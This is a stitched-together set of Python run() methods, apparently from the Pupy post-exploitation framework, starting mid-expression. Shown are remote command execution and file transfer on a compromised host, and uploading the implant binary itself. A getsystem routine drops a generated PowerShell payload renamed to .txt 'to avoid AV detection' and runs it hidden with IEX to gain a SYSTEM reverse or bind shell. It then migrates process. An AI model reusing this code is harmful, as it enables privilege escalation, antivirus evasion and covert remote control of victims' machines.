self.client.desc['platform']).replace( '%a', self.client.desc['address']).replace( '%h', self.client.desc['hostname'].replace( '..', '__').replace('/', '_')).replace( '%u', self.client.desc['user'].replace( '..', '__').replace('/', '_')) dirname = os.path.dirname(log) if not os.path.exists(dirname): os.makedirs(dirname) log = open(log, 'w') close_event = threading.Event() def on_read(data): self.log(data) if not self.terminate.is_set(): log.write(data) def on_close(): close_event.set() self.pipe.execute(on_close, None if args.N else on_read) while not (self.terminate.is_set() or close_event.is_set()): close_event.wait() if log: log.close() if self.pipe.returncode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error('Ret: {} at {}'.format(self.pipe.returncode, datetime.datetime.now())) for remote, local in to_download: if ros.path.exists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error( 'Remote file {} not exists (scheduled for download)'. format(remote)) if hasattr(self.job, 'id'): self.job.pupsrv.handler.display_srvinfo( '(Job id: {}) Command {} completed'.format( self.job.id, cmdargs))
def run(self, args): upload(self.client.conn, args.local_file, self.client.conn.modules['os.path'].expandvars(args.remote_file)) self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file))
def run(self, args): upload( self.client.conn, args.local_file, self.client.conn.modules['os.path'].expandvars(args.remote_file)) self.success("file local:%s uploaded to remote:%s" % (args.local_file, args.remote_file))
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] rexpandvars = self.client.remote('os.path', 'expandvars') rexists = self.client.remote('os.path', 'exists') rchmod = self.client.remote('os', 'chmod') safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False) for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error( 'Couldn\'t use $SELF$ on platform {}'.format( platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = rexpandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error( 'No local file {} found (scheduled for upload)' .format(xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^' + local + '^' + direction + remote + '^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) rchmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({'shell': True}) cmdargs = cmdargs[0] else: cmdenv.update({'shell': False}) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"' for x in cmdargs) ] if args.set_uid: cmdenv.update({'suid': args.set_uid}) close_event = threading.Event() def on_read(data): self.stdout.write(data) self.terminate_pipe, get_returncode = safe_exec( None if args.N else on_read, close_event.set, tuple(cmdargs), **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format(datetime.datetime.now())) close_event.wait() retcode = get_returncode() if retcode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error('Ret: {} at {}'.format(retcode, datetime.datetime.now())) for remote, local in to_download: if rexists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error( 'Remote file {} not exists (scheduled for download)'. format(remote))
def run(self, args): local_file = '' #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False isBindLauncherForPs1 = False #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False listeningAddressPortForBindPs1 = None #Usefull information for bind mode connection (ps1 script) launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address'] #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcherType == "bind": self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort)) isBindLauncherForPs1 = True self.info('Consequently, powershell option is enabled') args.powershell = True else: self.info('The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)') isBindLauncherForPs1 = False # restart current exe as system if args.restart: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] # use powerhell to get a reverse shell elif args.powershell or isBindLauncherForPs1: clientConfToUse = None ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)]) remotefile = '' if isBindLauncherForPs1: self.info('Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}'.format(addressPort)) self.info("Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port") self.info("Be careful, you have to choose a port which is not used on the target!") listeningPort = -1 while listeningPort==-1: try: listeningPort = int(input("[?] Give me the listening port to use on the target: ")) except Exception as e: self.warning("You have to give me a valid port. Try again. ({})".format(e)) listeningAddress = addressPort.split(':')[0] listeningAddressPortForBindPs1 = "{0}:{1}".format(listeningAddress, listeningPort) self.info("The ps1 script used for get a System pupy shell will be configured for listening on {0} on the target".format(listeningAddressPortForBindPs1)) bindConf = self.client.get_conf() #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target bindConf['launcher_args'][bindConf['launcher_args'].index("--port")+1] = str(listeningPort) clientConfToUse = bindConf else: self.info('Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection') clientConfToUse = self.client.get_conf() if '64' in self.client.desc['proc_arch']: local_file = pupygen.generate_ps1(clientConfToUse, x64=True) else: local_file = pupygen.generate_ps1(clientConfToUse, x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile cmd = '%s %s' % (cmd, param) self.info("Uploading file in %s" % remotefile) upload(self.client.conn, local_file, remotefile) # migrate else: cmd = args.prog with redirected_stdo(self): proc_pid = self.client.conn.modules["pupwinutils.security"].getsystem(prog=cmd) if args.migrate and not args.restart and not args.powershell: migrate(self, proc_pid, keep=args.keep, timeout=args.timeout) self.success("got system !") else: if isBindLauncherForPs1 == True: self.success("You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell".format(listeningAddressPortForBindPs1)) else: self.success("Waiting for a connection (take few seconds, 1 min max)...") if args.powershell: os.remove(local_file)